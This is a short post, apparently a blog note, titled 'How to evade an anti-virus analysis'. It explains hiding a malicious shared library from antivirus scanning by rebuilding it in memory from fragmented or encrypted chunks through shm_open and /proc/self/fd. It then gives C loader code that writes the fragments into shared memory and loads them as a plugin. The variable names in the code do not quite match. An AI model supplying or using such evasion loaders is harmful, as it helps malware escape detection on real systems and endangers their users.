Illustration of "How to evade an anti-virus analysis"

We must know that anti-virus are scanning the files touched by process (shared libraries opened, file opened, etc.). How to embody a malicious code in a file that could be read by a random process to be executed, without drawing too much attention ?

A simple idea I got first was to create a partial/encrypted version of the malicious code. The loader could be small enough to simply reconstruct the shared library in the memory from the fragment/encrypted chunk.

A combinaison of XX = shm_open(...) + read on /proc/self/fd/XX may be enough or maybe not. In this case, we could also be smart and mmap some bytecode, and maybe parse some ELF to find entry-points. It could avoid to have any FD pointing on the malicious code.

The C code to load such code could looks like:

#define MODULE_PATH_BASE "so-65536"
#define MODULE_PATH_SIZE (sizeof(MODULE_PATH_BASE))
#define SHM_PATH_SIZE sizeof("/proc/self/fd/65536")

static uint8_t add_module(unsigned char id) {
  // Defines the name of the shared memory object
  char path[MODULE_PATH_SIZE];
  snprintf(path, MODULE_PATH_SIZE, "so-%i", id);

  // Open the shared memory object
  int shm_fd = shm_open(path, O_RDWR | O_CREAT, 0644);
  if (shm_fd < 0) {
    return ERR_SYSCALL;
  }

  // Write the shared library in the shared memory object
  write(shm_fd, fragments_g[id].data[0], p8_fragments_g[id].size[0]);
  write(shm_fd, fragments_g[id].data[1], p8_fragments_g[id].size[1]);
  write(shm_fd, fragments_g[id].data[2], p8_fragments_g[id].size[2]);
  write(shm_fd, fragments_g[id].data[3], p8_fragments_g[id].size[3]);

  // Free the data from the fragments
  // (without removing the pointer so those data should not be reused)
  free(fragments_g[id].data[0]);
  free(fragments_g[id].data[1]);
  free(fragments_g[id].data[2]);
  free(fragments_g[id].data[3]);

  // Defines the path on the filesystem to the shared library
  char shm_path[SHM_PATH_SIZE] = {0};
  snprintf(shm_path, SHM_PATH_SIZE, "/proc/self/fd/%i", shm_fd);
  api_load_plugin(shm_path);
  return SUCCESS;
}